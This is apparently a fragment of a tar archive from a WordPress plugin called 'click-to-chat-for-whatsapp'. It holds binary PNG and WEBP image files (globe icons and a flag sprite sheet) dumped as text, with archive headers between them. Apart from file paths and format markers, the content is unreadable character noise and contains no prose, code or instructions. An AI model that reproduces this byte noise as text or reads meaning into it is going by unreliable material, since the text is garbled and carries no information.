�V-�HsS���r>J���wK.\�P@hN@ʤ���h4��"��d�d��	���<�-�E��+�iބC9l�7m���f��x�H�1m��;�C��>��V��d̘�.�@��S�D�ed-Y��`,�zNsf�4��*��)N<M³#��щz�>­Y#�d'B��v�u�k����W�����.���*,I�{�RU��F���}4.2�6Xn���,pWm��j�09F�1�d�G���h�
�cP1����t;���'J�o���
��=҅9I�|�XLVW�8���sU#==��क़L%:���.o[�L-8ػ��a�[[��|�\�qEW�6�X��٢��p��\-�{���z�C���bbb�^z�&:e��Zsy���,8�@T�xP�zq.���P:�}��A��W�_#\\��ː����:�t� ��}Ԋ�*?��I�|y2��'��dOt�M��;+8�G�]����:���/_�u�}����˓I~g&�n��ѧ_1��Q������U	�U'@���f�r }3�O�(��p~e)�)��h�_��%?U�ކ&Њ��К@+�ͩ���"p���"q���a11�xXLv�?!�������y�1V+�|�{����|�c��u�	��uطt�.0��0�SƢ"��PՉ_�ծ��(��SUy�JL<ϴi�ȸ�…{x�Ű˟�х:u|��_�8q5'��O��t�֜��Kh�6BC�ЦM /�Ё��V�8'3PQ�X���g�p�@"��ӯ��'�
�s]��ϟ�W�u6���F�~K�GM�r>��՛0��3b�EcM0$���rץYU�A���wG<j�?��Ք0�DZ���ي}��oט.A��\4D�<Kx�I,֒�C�鬎�cT��tV���b	�>�%��=q�|����5£���3Y�=x���A��cS�>���T�V�)v�'�=���;�]�t���U��pt
7D����]6J<=�@|��F�l}=��:�5k�]��Xɷ��M�A��0!)x,�q�m�W9γc�k�FW�߆_�����pēM�P�b�-3�7��j�p;'��J�Q����9E���޵��q�n��{۲|k;�%V�:}�&p�|pkQ�j��P���qou���)<ɯ@��Aq�g��~8=
L���?�Gk�^?>u�ZI
���pJ�97Ap&�n�j���
��J��ۧ���Kr�e�O���6qA.��5U�0���tV�+�:D�Y��}���^���d-_GZH,Y9b$'��jbT�<&��R(�&�w���](�/$i�A"�~��1� ��a?���%��F�/��y�Lc����x.9�EӔ�Ƒۺ9�Of��+�|5�|Έ?�d�~O��
k�̍v��P��;��sQ�5��s뭇����*DN���12� 86�����+5~��_�FV|�<�j)���j��&�|�ڹe�P6�[K�������z�k��c�B�^}�.�cKz{֝�ʹ"ߋb��_'�l�U^���
!,L�{w�v�#c6�Z(�U|)خ�Ylߜ������h1(�
z
`W��bA�>2`����Рi����݃��w4��*�8�P4�F�T�SP��*E�Y(��R��fÒ�%�[]/(�7�`��~J1=�H�DZy<�"��G�dP��[��%0Г�7��#�5fC{G����f#O$��~��_��P�B檙s(6S�)9���ˉG����*��A�Yi���+n}���9�?�>
��?��9��2��O�7ǁ���f����R13ޝ�S�k'_����J��fv*������M	��\|�~[��j
����*���T�K���?�og��葛�Ĕ���I�ެ�]Ϙ���0g�c
���%ț�]�1i5v��֤֧�c4տ�t� N�I�4l6Ι��:M��\r��.�A�t:�����	���ƴܹ��I��[���В��6�u��R>�UŒ{��)VC�8o�$o+�gf���^Nm��Q
�<�4���
���v�ߡ�N{�^m��luy���SPtA�A��رc";�D�wcҤ�:�̤I}x�~�ӝɓװm���oCX�Kh�ƍ�ɇ��ʕQ4n\�
����?��b��5�����
b�6mǏ�3l�Ä�}+���\�z�A�/���v�r�˻k��l y��#"1>v��K�at2����q<3a�U���)|�$��L|A�xN�e�uK�7�ij9&����-���ܭ�7-��FT­'��eӲF}��FS����{Ì��uXԄa�%���d��/����8o(�	CMNj�3va�})����Z�Ͽ�%�4� T
<�5#؉I4����}�l_�[ϙ�
����ƃ+��#!�so}�m�VD��@��j%�Ӎ7C���}��bc��
�VE�
��۷OS�+���E��~h(����Ndo�em� TU��1O�W�
U�q�
/e���bQAn�1�[����Z���9��O):�(�qB�	磣p�!E�!8N�%yO4��"y�A��EPLʊ���PL,����6�50y���˫D(9쌜C–�k�}�
��p�ۢy���I�����t;��y�Կx���,Nk�?�t���B��S�Q��d��:&]�Mא��Z�pB����傂�WŔ�`�(�1nߎ2b������DE]�z1��<�u���mΜRmj����2>_BQ`�H�5KŊ�Q;?cA›�P�HA��;	�`7�qꩶ��׋1������}��M��W��Bˉ^V���v��/u7پHhh(�zs[3�!���s���rIEND�B`�click-to-chat-for-whatsapp/new/admin/admin_assets/intl/img/globe@2x.png000064400000003203147510273110022023 0ustar00�PNG


IHDR((&�p�	pHYs��5IDATxڅVh�e����R��E4ŔJ�)��q���ͩ�&I��$]���e�J�aiP`e�y�(KArH�P2M�A^q�-�E����~��<2��_���������hG�6C�|���B#ZPca�YhƸ�Q���w�ki���7�f�	�X 8�_q����^!�/w�LA9���h�-�ϛ��	�K(vr����]�1��uJ
����,�U�V�hB�(h�?D�ځ��P�P�:_��I><ߠ��A5Bvq��>Np�@)o��p=��5�K(ϗn���
������𤨅�mR��e�*��M���X����
�V����8�?i��T�$$b7A:���8��y��=8����t�vq��vLWuYA �kQ\WH!��_w3���J���/��{R'd=*Z��;�m��N��z7�Y7�;~7Z�H�-
���w2s�#�įKh�_(5_�(6�K@YyI^L�H7SKb���.Օ��2��Am��(Jq��)�p����k0�2~/OUp��M�c�$�BJ��lW"4�*#��B����a:���:��;d�q�L##��[1!��ڏ҂���Ñt�A�oQ�i�Z�j\�,��c(�ɞ�:���J��|O�5X���#d��È��tYO�2N���)�R>�#J�Aю��f��p�s���sRF���r�
O�J��Sڨ�ߌ��sJ%���8��Y�P�2_�^��s�y-��.��Ff~C��T.H�8�F6f*3���w��nՍ'��<[�0�ҙ
�`�#�.c{!;������o�s�'���O���W��v1CQgSb��?i�J=�QO_���66��a Ȝ���f���^��:4��3���/��(��2�2q�rS��(�z1�xn)$�a�a_MPy�1w0'�Mv���2�3.�`u�ۿ�6�:���b͉4 �I[��[=�Nb4����u�둜�������	���#UZ+���u�ܦ���gf2tX;��/h���r"�ԃ�z��N	�,�㙀��L{d�加��\I_uJ�����eacvk G;�ꔩ���Д���x���$��z�l\�Nfީ<e9���6,c{$�5���q��ybV�<���'�̶�pR8G%��b�aF�g��3M^gE#w��S���SqZ�Tp�F;�Y
���V��@gx\!�TJ2�[�3�'���ٹG�ʘ��κN��)�Y���c�Ɏ�h JP3~��`����V9V���BH��Z/�®8!]�h��[�t��\N���Y���/|���hV�����N\����
�q�n���-�*�|%�m{j�z¯u(m�L��hr���b5�v����?�j�Q���2<m�g�#��M��f��9SG�Qv8���Z�<��j&ŶT���3"�,d�B��I�B���h���aMU��)C�\ҶqE�s>�#D:9B��~M�	�'���6��b��Iwk�"���9V�h]�'M!�3�l犨�1	����V8s%�G�"�:��2�Jf4����n�E�0��I�Cv�#�P/�/{����\TP? �J��8�n�h[ϲ�w9Ρ��קvh����n�sIEND�B`�click-to-chat-for-whatsapp/new/admin/admin_assets/intl/img/globe_light@2x.png000064400000003423147510273110023216 0ustar00�PNG


IHDR((&�p�	pHYs���IDATxڍV	lTe~[
�^�xF�(�#�`�����W$�����3J<ぉ&��	FQH��`�v���o����m��B8�쵻�7���P������|���:C_ny�K�)��=�N������Of��N�9�%e2���Q
��%%q�pG$&Ii�F��PW]8��Wi�K�iiV�^�M��x�Ň����1��~^P�s�8��T�5[�K�`��P/�ӡ&��9꣣�d�c��OL�%���S��'fV�X�1˸�q���M�;[������1$d0���4�m}1��&1_�����fn���V%�+"M����s���z�־�Mgc�)�Y��n�rLmd0�З�ک��)!���Q�'�v�VW�#�2��p��l�x�0vi��]��Y>l��fqF4�q�`][����
�-m+@��Z�{u)\Rx��,*��2_��<���_*p����8���7���T�l�/i�7��%\i!o�c� ���a��ъ���mБ�h~֓D����v�QZOq���9��c-��m��ou��_�9�e@֟�W��Fl�����N����Q��L3�𮔆.n�\L��z��?~g+D�<��)�3Ĕ.2��M?ڠ����1��(�C@Mm���?t&��ȇK[I6��v�n�Z#��LB�ȥ0��F�g&ĭŠ�ě��P�]@��o���fVp~�h��H�@�"I�Ĵ��.(���^Pp��B��ExnV(�05"�BI٢2������<���K�0i���\�-%�q��4�������X�J}��:2(I�|�㬩�sb��YW폢3�L�ZN;�T�U�(�~�+i��Yc�\펤	�/��ƨF���܍������|�xnH
߃F��e!��c�6I���?�.|~���|���Bu5��f�+�x�G1��X3�Q�`���,(�b�<@{�pFB֏�/���[AX�Ρ,e��C�hNX8k�/ڂ�-ii��� �+����!���a����1;=�����L�E!��FY�k\��u_ )�t�A�/��GT!�@��/>`��>%���CY~���Xjd�4�IY�ǁ���\�Y�t��>��V5��VQ�٨uH��]v˭�^���js?�nA�����J��匒��Z�8�Q�g������p�P�7��O�<���<����n̶1]�[<�s'�)�����u�'2�<�ϙe��z��_�����-s4
��
ݤ�Tڃ��VsQ@<�w�ɹ���&�����]Ț�P�5A�0�qk��V�-���j#æf4� ��Z�ig.�Z��M��Ӭ+��P�kSȳ ��/�ˠ���TH|PgV�X��_�BA.���R���-�?�5����1kZ�IՏEӶ�������XU��9頸Zۿ�D�7��t��,	��F���US�j�yA�'h�
W���r���/o�=ԕ@�SO���bo?���bj�t5�F:�e�f@ׂ�D��gaݪb���Rw^l!�`9�O��k���eNa<ߨ�u�QE�;���_��y/�����丯B?jXځxB�=1m���4�Xwb�	т�ҭ�7�\sV�[�9ʚ[pwBH�Qf�Ѥ:�+�ဃ�y�Y���N��q)<�ޘ_����=mb��qfM�Pq]��?!���H�m6�,:�I�����Mo����_>쿡�.d��Mc1�IEND�B`�click-to-chat-for-whatsapp/new/admin/admin_assets/intl/img/globe_light@2x.webp000064400000002752147510273110023373 0ustar00RIFF�WEBPVP8L�/'�	Y��m��F���K��_��.d�I��"#�S�h�2��O��e�2�i�i��J�]i1S���f���b����Ŭ�4�"B$I�m�w�y�m۶m۶m��m۶m�_ߞ;�d�"��.�����65�P�ن��/ P��2tް?�Þ(C�%�}qv��|��C�A�z�
�:Z��"��h�7;
�a5�!aG!m�Q'�~o��~��L��Jc������}�A%HG/@*jgo��v��Tq��Ey�++�����!$�H(��_UT1/<�ڪn)`ko,�ؤN__Y��~�l�^��Z�:7͑�,����<G�u�
*���G��nЭV=ޤB$ڲY
3���M��t9E/��1ZP/�0��'��\�h�M��+�̔p+�H_�w@���޵�lK=�,h��5�PgK���	��m�Hu��%�.i08��i�2H����($��ݹ���z���HG�`_j���ʪ���Q��Lz�c�w�S\��#��F�SP-�����������C7���J�8~�]~�(��uI���E�ob���L��p���Җ�1�BW�n�?'�>}�/��{Q�����Lq
n��	�v]�c�^ҜI�<�|�z	�3(�"rS�vMN��R�	͓dIt��D�%9���*��(J/jXO�I�V�/�L�s�=��5/���Q���L�n;�׋�7�]f;>\i����\���+�B��f�L�u�z�N�;�����x�!Q�U;Wt�mΆk��C��WЌ�ƾݿq�v�Ѭ�k�\��x��y�k�*�b��by�~�k�>����}劭�>i�]։�!�����PXkg1��e���50_6��:��F�͂���<:��O�s7�$�I�<���(���-QC��Yͦ�SU}�)�iY9�<�&�`�DեqhM�n�[�̏�Q2�����ķ����)kV��(7R/fxK^:S\g�I~��LN�s7�$�v|��ڕ.��k����u�{jo���ҟ��Z�]�F�.�{`Ö��V�s��0	�5�}�B�
VkO�5{��NJ韱C�XrrqV�M� 
�����t_ӿ�����S���k���a��/Ѫ���j����ioWV��W����ݘ���v��hQ�`/���[��ǧ��La��z������"X�Nt����z�g����9�m�H�!fP��*��LH�e��
�hwǢ�hE��*�����C�&<��5}�Ж�h&�����{?O�Z����Ƀ` �kO�Ϫ��ѮU�=����_߭��=�]��`�/O�~����~*��v����o�nz-ACfY����@$�[{.s�s��
W� ���pEke��Y g�W�-{Z,��#�(��䯽����N`]���p�=�z„��0�6v6��D�~(��c3�b�w/\<�Z��<�8�{K(H��Q{o�D�^�click-to-chat-for-whatsapp/new/admin/admin_assets/intl/img/flags.webp000064400000067016147510273110021642 0ustar00RIFFnWEBPVP8L�m/?����m9�ao�1PU
Q����P���)��%9�H(��,g+eϚYeU�J�3h���
*�Q�)�,�e-�UJ��(�Y�� TJ�9�hE�DB*��cY��s��PT!�(�_��Z5ZR)z4s��xX�h}s�2����:ffi�
�,�
Z�^Jy��褈�^=kض=R�mzO�4�F	��Il(bGE)6�HD�������ґ�HUiRD�vD@슈�w
V������?�X�w(�̨�����;�q�YIȖ��d�^��z�=RQ�hPB��3[٫�g��v�+��;{���m���I�IN�N�CB�v+$,��,n�n]� �����g����ZT�^!�E ���`��6k[T�AVdY��o�?R��c���.��(����bD��^��ޕ����"���k�ى]�`�0�����]�����Y�����_�D��)�R�d v׵��>�l=�$��8%�&�����v+��O���I�ҝ�ҥ�a���;�I]Y�ݝ���}g�	v�b{â�6��m��B�i!dT@-�C	���_�����ΔE۶�6s�@0�����<;���&+�"�o���R�6t	?�Tg�A�����%ᚒ�1��&o|�@�X�YWL�#@�� B��2����Ҋ
��'j����Z&�u���Ѝ�0TXK�����0��K/h2l��g`��}���K;��.M]��9d%R�Ȟw����̛F��/f�5`)���RiP�4)�iU��2�,��z�v���*U��6_����T�e��T�L�Qc�#)L^ԇ�o��7᯴.l��M�7.ݱDh��uɭ—T�C5��@B�q��YZ�~�6!��9�<�}8�b��q��5as�7�|sP$:`5�]�oo�&`���/p��>_�M����A���w�
�Y��LD��\]�u��$1����u�[k_Ow�s�b*�[���_/9��-�m}�o�4�Z<s�f4�=o�k�N&���w���u����!rM[��=�q9`�af��G�ڊ���.�Rc�Kh_Z��Fo�{`��$ޫoo�+�A���@�
s���O�"V��%����҇h���%�4�X�li�K�ݓ�`�����o�Vt܂ɭ�0�jauX�mܻ��i�.I9�����_8������?�bLeT���m��t��+��j=��?x�f�1���VW4?��@�?�+O�Acs�e���zh��;���(x�#�6��8�-9iؘ�jǑ��	�Z�|T*�8�S�
���ñ�C�.=�=�����y��߅�n�fz����,�i�bՙq�%�I�+9����c�l�����x�e1�;�K'5+-�����}&֬4{]:.�Ͼ�D �e{;��E�<16�9 ����!t-3&�a�~�f�,܊���5�j���_M0�U>���I��-�o��tL��+c��%��!�Amy�O�+��B׺��퐋36��H�����
�`��-��+b��Zi�P�N�u�1&�M�آ\�@������J^��K��N���K �~���m��
t6��a i0Py]}�t���Х���`0��Es#9O	(!���]W��Gի�E�e*�����m)t���ȁ<�t$�MA��/=����!_5�ʮ��b�-��'c��$��ǫ�y
 ����T��̓�&���H�v����]b���ǞƸ���履�	lEiS��.���#g�)���mo�}r���#ϝs>�C��T�X�^���0yz��l�n	��oh�e��Z�J�չ?�����~%��6�O��
ļ-�.�.�T/�8�|�1d>�H�OgĊ��#�e�f��-U��2�j�1*���H{Z��4�J��'m�e\����G7�]��|�(�{�۰
�]�%@Sk�1M�6�L�#�)�~ԃ�"~!��N=;�G�����6��*E��PE���;/l�����v���l��f��M8}(b#��;��Io���V���@\��b"�l9d����]��G��Q��Pg>�����65�	���5��ם���^F��o9Ӆ�QBw�w8���6`��a��xR�r�\ON�%9�3�$��%��e��ue���_��L���SGF
T�w�?���2��ۭ�vv!6UMA�B�5��gJ8J!tY&1��1l�]2P�Ŏ����=�}�
}��M�k!#��|(b��N`��-�|�5e����
�9��EW%0WSn�`�֡�p��Ŀ$�����#�4�`����&�
'��&���ҍ�;"s�j��pöV�W��'�w�`����:'��ص�%Y�C=f�Ӂ
�u�^Ba�?��?];P:_OĀ=U�j�"خ�A#�&O�Ϻ>I�Z1�"����L�f�T����ќ[�I_�.������c�3�f���v���_S
~\hG@U.O"v����{V�sj1��X����j����;`��H��׿E��ˠ�҆;�5sL����lw�k῎k���)~���6�d�۟Ll�]��+b{?��#z�����'d�Z!j?�ۆj�"_�4��8��:���+���	��(���	�$�M��mo��_ !l~΢�Ѿ��뎢���(a@���\��@�*].�۶���l�����[�ʂ3��w	�Jw:����n�B�n����S�1��1�R�����#k��~醆�-��\����N��ݧ�1�4��#��=؂�-���f��i��k7�>E���Yo�iA�
k<^�iR�T�}�� ��iC|�M*�f�}B"5�䏚���Ϡ1��e�!Ց����6A��}h�5�a��m8�87'���x���+��M%���d�=��/`�"�p-)�#�9%�y��{���7�Y����o#��}��|�,!��e���,YuQ�WU@Y�"NT���J��B��c�/7�V���Zstp]ؓ� +������83�Wc0C8���F�Tz�|�ɳ�����u,Й��_8�ȷqL>(��]R��I�א���I���l�J�8��V�z]o�H4i��c���`;=��#x�"��<��Go���,r�k�*�תǖ׷�JW�]К���t���g���3F����}zw��k��#�N�=xJ��YG�0x�Cd�)���{f��n�!W5&���syR薓����YC�e�O����KՁ�ݭJ�qFװB���V�-'�C�JT�S��a�p���m��C2Nh�׷iMۄ2	��e��%�Go.s(���ɶ9v�Ա��>�柚���
�T�Gr�=N�N�[�R���s���D������[�]�+;�sG<�����Ԯ�^���~7�3V#X�!p&�m�Xo�Ƌ��3/�.����OS��CdC�bZ�ظ���`t�Q����*7�Z�}�(�
#4#K�+��F>�*���yF�?`��b}�a�rZ���`h6��2yX�m.:�]��`�Xћ�Hj�e��E�,`�gt�
A�ӥ6��;lԩf�����vDߎJ�|mx.[	/9�(C��zV�B�� ��{@��* 
�w����.��`�l�'`�T���Z�;�j\���i"�ɏ��W>h��2��t�K��W�Z0��w�z��y�H���a�~���������b�D�`��[ȉ^�3�D�aǃ�.��4���
z�c]K�iT�y�O5�0��7�T?|ҥX/�;��L�W�'���@�~3�!>�O�
h9H�eٚ�c�U}\E�K&=�@xg5��aE�a+hz�z��ު��4�G�@[�$AlD�)ü����w̾^�z��P�aR�`@A�4ٶ� S��|��EpJy1^�0�w`�Ky����h�o����`i��!#��S�u�
�*@� #"���ɦ�hٮWp]�W��瘺�3�o�Z�_]�m���ɚ/F4�$��*�鮎�{�L�i�)��+��q8/B�B"���C=BYp���W_�8
8c%N����,�8}�m]m������h��15<���d!��	�����)A�$�?-�p�Ez5���v8bk��K_��+��6�B]wu~\�/��k����c�֪:�(��*��U|�/��h
���H7.خ��|R���q{+�c�v�5���@Dl�B�@�7�hN����I���ŒKu;�x�
����$�O���I��@�'�,�����R��Gh�5���T�@���B�?�@�|:[���@TW�@��\U��]���f��Y
ܔ��U�4Vq�s0q#N�;�gB��D�	�k$�	�n��O�z߮z��gK�z'���Y{h%�7��6L�m��m�K�(�͝�r�t`��4d��<B=s��H�:Mۄ�G�h�$��P�VO:��|����wh߅���	�
�
Ln
z�9*��k��+�% pzSv^�L!��ۜ�׸{M�wD��{�
��T�	�>�0NP�yN�d�b"�W��Q|[��etb���ZA�:��R-�4���to��C�λ�,�eҀ|���/����z��V�Po�*&)=�./G
��튽--���$��?0�������w�69�����į��#���R��3ĸR�,�����ʽv$����ǒ�/o�
s-��R7�����!��@l�?8��>��;�i>Ŭ.��OwO��t#}geV!f�mx�ָ�+����%�!fOt��(<���o��v��@����_]�Mڹ"��*[�f�4�
YYYV<�c�,"�npr�
���к�X����J��3��"�z�Qv�h��I�tZ�ּ�JH�v�]�>{�}I`�
�9�}pE�D4U'��t&lk��Ww�>@�jUWe���ZɍXL��� �~��yuA~���N��-����]��+)xb(��n�-��)ݵ�sa�|�d���ҌC�0�q�S�uښz�?/�V�h����tAЭ�*}8Q�i�A����/Dd�٩���,����K���Ľ�QMۄ}�0����Rk�״�dVy��W�|�g7�s��g74r�t�pcM1����Fm�F�MYlN�c�fiݬ�N��*�O����/��XS���TB��\_��&W':������C�$3ƙNgK�u�}�X�d��w)��ó���k��Qn�,su*l��ѵ��`i�����C���>m�!��v�Q/E+�b�U}�GvV�� �f��W����]����ͽ'F��� U��A�u�U�8�4�����x��6���=v!�ݶD�:�_��E!B��1l�4,3.�TN��O#�=0ݱ�t�e*��5��0�T%B�S�5��Q� ��#��p�U��͚���v��oWǹ-y����-�i�H2Yv���,V�g/���J��G�lEF�Ll���@F�"C^_�f@�o�L�q�'lI>��J��A֓���.rqn�${ŸT����X�4��Y/Fs�(�M{l���|)Ҭ/*���A�`n��9
%�1��|����i���0��J��xp����dGm���4��-l�b������\V�?,nQ���:�k΋�Ê��aŮCb
�%�<9�	zA���	�=�G������'�n�R}��o�����~W�wmH�3Z�F�^u�g��1��eEb|��6��<bCJ�8��{���7���_�hh���l�
�2���T��8����?�n�H�=y�@>@P!��3�zh~���nE�+���q���
+zpz�fX��}q��3R���.g�l�1{A���;
k�
��uC�+n���#���)uP.���]h�V9m>م��I۴�l�@
W/ڻ<Y�>@	(��k0V�U�`�㟃+�0�T��;T5��<��h#'�{�ƗX���n�V�Rο8�ɋj�LIt
�+cȤ(r��Eʯ΍bٮWx=>EP	3�]�6՝>�˗UJ"��v�F2:�
���_�@\�<�m�֭����2^u23p�֢x���5�o<�x�K�Kx�2�:ð�F�8��fAK�Z�i�V��BY�-��d?)�6i���	��v�l���K�
<0�W2����B��?�SZX�?���[�l6T�Õ03oNr{�������J�*�1'Xa�>�R�0�Za�ɓ��Uh�ん�� �2,�9����"acc"'��X�'+FG(d(v�nS��f�<>ї�Ͱo�iڮkշ��a�_bɆ;�1���p�U4��y8�-�E[���4z��v��heh��Z��$�h ��|�
q� �<i���{ohC�'��
|&	��Q������9��g���y�������޵��?�Gh��OճDۃ�BB��D,|�Y�@<�[�1gs�Y\sk9�=t5�rG�M���KJ�>&�~�̤�����R	�?ǵ_Q�:�v���
�dLf5�s��P&s)���u��(��0b7O)�K��t�SɮS!�&�zL�%b������\^���'�Z����+�֞
��E�F��g$L��:"���7?踚�\���
����%:���Bx55���e;����:��Q.�Gɭ)�[}����@�(�M:(bjU��^�b��;J/���J@������brS�uWS�",��zZs�|�i�lb�������;Q�P!����Q{�� op���Q�%�f��c	�ÕF�Y3����2�����;��f��Q�d-I��R-�>�/�0�u�._�t=���	GVt9�����!G��;wv�Go�Q߉���S]qO��}�.�ɣ�C�|x���X��.���u�x
�-�X�
�s�BH	���$X�wWr[��\���]=>�RJ��vY��^-]4;%�\�^�'M�%!�o��{�ҷ�#�?B�����,g���KX�A���R��\�g���k���sF�����D
g&U焆��7���`j|J�C/�&�%�Y�[�)ȧ�:f�9y�Y���͎����]J]�Zf�+��F�������y�ΗUA%"�����b�;9z0�V�Tj~2K��h���?��68J��<�A��D�����ރ��T*h��O<���]�iK�3�{�5K��ɽ�{�cMr�,?��@�J�蕜9�88�-{DD�֭ws�m�?pa\X����6I��� ْ�� ��FnW>�AH8AMIݳ!��G�׫��|1��fF��)t��e�#�nsj�á�)�0�)[?� �d�ڐ�|s�y���8��bE�p+�!]X�x���ˊ�����*[�3�:0��l�
o	���3�8m\��ݕ��B�:3NN��鲋k����X+�oe����:I:	�T�
�=�ڑ�\�\��u�Хm��2�6
R9�5	M��6��⻾,�S�)EO����wu�$L$[�m��?{h�(_���^W{$y�RA���J�"
��ܔ#�gpc��d%5�L�=�.�<��f���~-$�N���G
zEM��ٷ��<��G0s��Z���6)��B�wMebs�u9M��˘��Y���>�<�3^Ϋ��/�2ˋ� ��/�_�J��Y^��"'��(�����җ)�/�Kx@H�9��+�Q����u�.��)���}�(Ɔ
<�i�YeSFE�`;CQ�G����p�r�M�@7-��� 
1��x�&�Dh��Z�ye���h���RϷe���]�
�`�B�k:�\�E	}�y��crA����?�����I���!�@�^uͳ"GU|���i1��lu�*|:-��t@�Ř��A__p�j���"��=�UQ�L�qt�ݒ�r���鳾Riʵ��G	^8-��������_G����w�Zc����Z�`��sյ��++'�$;�iY�����l�'�z>D�w?���B�̯��@��߻��z#���{���z�/�0�g��'L�0
�6٤�Y&˒K�4�w�@�G�����?���vyٔJ�6��*��}�N���E�aѥ�E�[T�?l�Ĕ�w�뭈$�b,�()�B}i
�Fw���/v�B�^��w7���o������,������}tS�*~��
�o��l���\�c��Q��˗���3EJX�;�.�?�1;`��.f��0��?L�mg�L@C��i��0�W�����q��<��?��Y}T���T1�8������	E(�<�62����j 4=,��	i,,��Zh,!M��.���^�4]u�0�^�+��e�c��Elj'��o1�.���CQ����l8���G��H5���daWޑr���#���&
X���LJ�|UmhN*��\�����yod0�m�h1��uz$]�F����h��a��feZFUZ4[�'Zw^�ݔ���U]�x���'��A��J�S�P��w ���f)	�3��{~��2������AuV����y��˰V�)�W�tv��?�Db���9�7�}N�*4|���%��.<�5�����}��+��mC\��c�lۚ͞?��z:������o�1Vw4grG|��>}�)̡��Ow�ޮ��~�ϭ̠G�©0�z�8���Y˨G��Og���S��`P~��x��"J�ހ[1����t��bv���;-�hk֦�X��~M(K�Q��G|�;�.6�B�a���Q����ؕ��a��~���Ӡ�Oƛ�/�
Y��dp�Cw�K�����x-n�L� ~��� �]�^c�d��#�~\p`�K�C>�g%��'�ܤ�@���y�0oW�T�Os,��1�r�n�u�9W�����KҨlk���u	�Z�T�ι���a5��:G�oO+�/�B�f���M=h��b[���X<�k
D.B�+,�)�D�-9����A&$�Sa�<�@�"a���B�7@���/���V�����_��s�!�.�d�o�@>f�g��{�P:vN>U�=s^�-��
d�ʔC(��|��})i�֔)���!�s�j�K"�D�K�~�b�b[��1ϩ��TY.^�pf0���x�5�:-�˱��ωUaޙk6����L����u��~8�K��~�].����壺������������=" �isQ:܏P�`s��S��6��RN�:�X�����i2�xb鄑ճx�G�䍛�a&	����p� �O�]V�u½�����c�[U���Yj�m�����e�s�^��r��
 Q�:��ٱ�"�;@a۝P��>I�kwZ0VBśݍ=v�����m�}Y���Ϳ��)Qfy}���Xj��v����a@i^)�)�&4;��ES������	�W(cx���i>5P�k���S3���zj���`�P�`��O�-���ɮ]�,��ƈ�k�p� ୫��^c�^���H������V;��ךJ�o֔��38�:�[U^�o�”���ϥ�L���K��T-�8�6a&�P
��~�>ك�3�H$�;�F9��C>zW��<|�e��.�9b ��+�G|$:��ZlN�ϗ)�����	�v��?��6��h�7���a�F�@Y��4���=6uA�$�o�~�k/[�BU7:v����[��f��76:���h��$�Z1�>�xU��s��b˛���#8O�0:���f~�BQ�2�dx�#�g�Ay�\��io�/1���.3�=L�)��(��k`�$�:X��v��w�۟)Yǝ=��b;�h&�_jjj�^�fĊ�u����
���
tn�"�}�!�A�6���h�n���6���i�m���gإ`Z�h�Z��8u�<�����h���Af�7��T�"q�ў�F�y��Ö��V�L���	�K�;�D�ػ$�y��GߋD"��/6ĤQ�
C��Al_�S�&p�_�h��#�%u8��eU�(*�)ء��/�@�@F�B.Qg�dfIܓ]���uS�����������%�hӣ���a�]<�Ĺ��#�vĨؘi�I���Kzo�@����[Û�D3��܍�#�U�R�#���L�-�2>@��Z��JV^>IwGb�@0+A����R��9L����np�@�t��uڱ���k��~@�9�7v�r�������[�ۤJ���<%�(����눅�̪K�k�'k�uߙ	�r�%2�F����n�6%���gE%�
����P����]ּ�y�M�7���W5k���m���^@\!� ���;���R�71Em�i�r�}����y�7R ��Ngh&e��l}��vz-:-�-8G�y�1�k�YJ���EZ�ۥb^fÿ[��"��B�,��J�˞Aqc�VA���#�1�$3e�Q����Q�MLW��9ǩIA�6��%�6=��骣�pw��Z �y$�X�cB�I(5�d�@/���nڻwS-�>:$�:,��A�A7�As���<p��rM�S�׾Cv�Ct}���&V��t��������w��H����`i�Շ߶�M�&�Aw�(����H~�0��^*S��n˭x��^8�N?�����βx@�#�:�Ң�P�2�m����aa�����7n�0?���Ŝ���6
�]�]��$�J`�I�<���fG�a����S�.�}�h�����j8/ֶƺ�:�U�4�T�؈Ce���-���T����N��aq�����Fo�l'�!����J�Rd'L
��8{���h������h]ԤE�G�
��@���'�v1��X�g���ϫ���A�>~�A�X�r&�$M��2�1=�҈,��?�ӡ�v�q�@��\F��8��.��Y�-`|�c3M��.�#�!�5+���f͈0����q�Swc�N��,桩���9w��t��GH7F�s^�fW�숾-ˮ.}�>�8�:R��t���!�"փʘ�2�d�
4�f�`�����m_��=��
�"\��gG����m�
a�E���[w���4��d_gǖJ�]��z��I���,_���P\�W�*b��g;d!�t�b#���=�WN��Sy��n�w��j�2���DO�0��59{��}h�����Ǯ�8�)�b˚�'�>|q�o�4k���g��s����	l*�����l$�(�����r��p��v�u�ޯc�ߺ{��M�a�Ւ��*�o��3&�~噧"��u��Ɯ���#k��T$q�ӊf��]�������M) ��낶-�O�m�^P�4j����Y�<�"��5j��hT��G�����T�`jͼ1ٝ9fq淳Y�ZY�87:�����Hhb&���y�)�\�h�'bC�0,��ݧN+-r�q����\����I����[�!xDB��ho�(�t�)p|T(Z��-f�{^1e�uh����j�#鋣D##w�-��'�cAŃZ�->
�=`fe-W��9m��4k&s�!�0ֺ�9�\L�dr^��-AS�^���r��)G�%�g�B�bw�H�%�|���%�L�H�Z��%l�t��8[���2��t`&�2O*]��"Φ*t$�r�4hA���e�3���&}���������N)����_!��$��R��	~��Kl��ٮ��9ن��z6y�˯2�E`�A#;��'g��\����2�q�U��:���<�|�������y�i]�h�͹���Vm�\����J$������t?�	BBֻi0Z�f�z��_h�i�T,���x2]$F��x����@��_��}6!fz�n�Ga���vT5���ؘ�fDE�#o9�{~�'�
zww��gF��d��쿴�J�W
C}���!4��(�4#�:u��6��]Ҁ/����X�n^�ˑ �/w���]+�:	)t&�Mw�K�I}&ˤ&B�RTKC�(��8/���Ɵ~G�o��{��|=�|���D�t�V�d�鹔,R�+Y��j'�+{�6-�e��ݓO�uN�韺8���݋v�S�;��俟����|
X��u����=���D������E+Z�U@c^�-	\h0].ٗ*�?���C��J���&�3�p�j����~s�{��ڈڏW2�1_����`ԣ/�zD����3�?��'<C�?.4�#�o�
|��>�B_L�X;�E� �ی�����7r�8��6�ۺW�ַȡ�%a�f/�3�H�b-��8%*m=�$��V2�
�6�2z�l>��ѣ�3���[��l�9`��P�1<�Qa
���0�a��ȴ�nRQ� �h��}���oĐ���o2�f���~`B2���~6�!Q��� ����&��.�����ٲZe�S�sزf�Ôa�b�e(���]���(�&fk\��D}Ϟo�H����
h�@6d�ʼl�P6t�O>E >�G���6�€�*��)g˔�>$?���d�/���bC)�u�ŷ�õ\"UA����Z��𑗲��;4)��U[�.�隌U
r&���"�Ӛ�{�=-�<�]_��W�
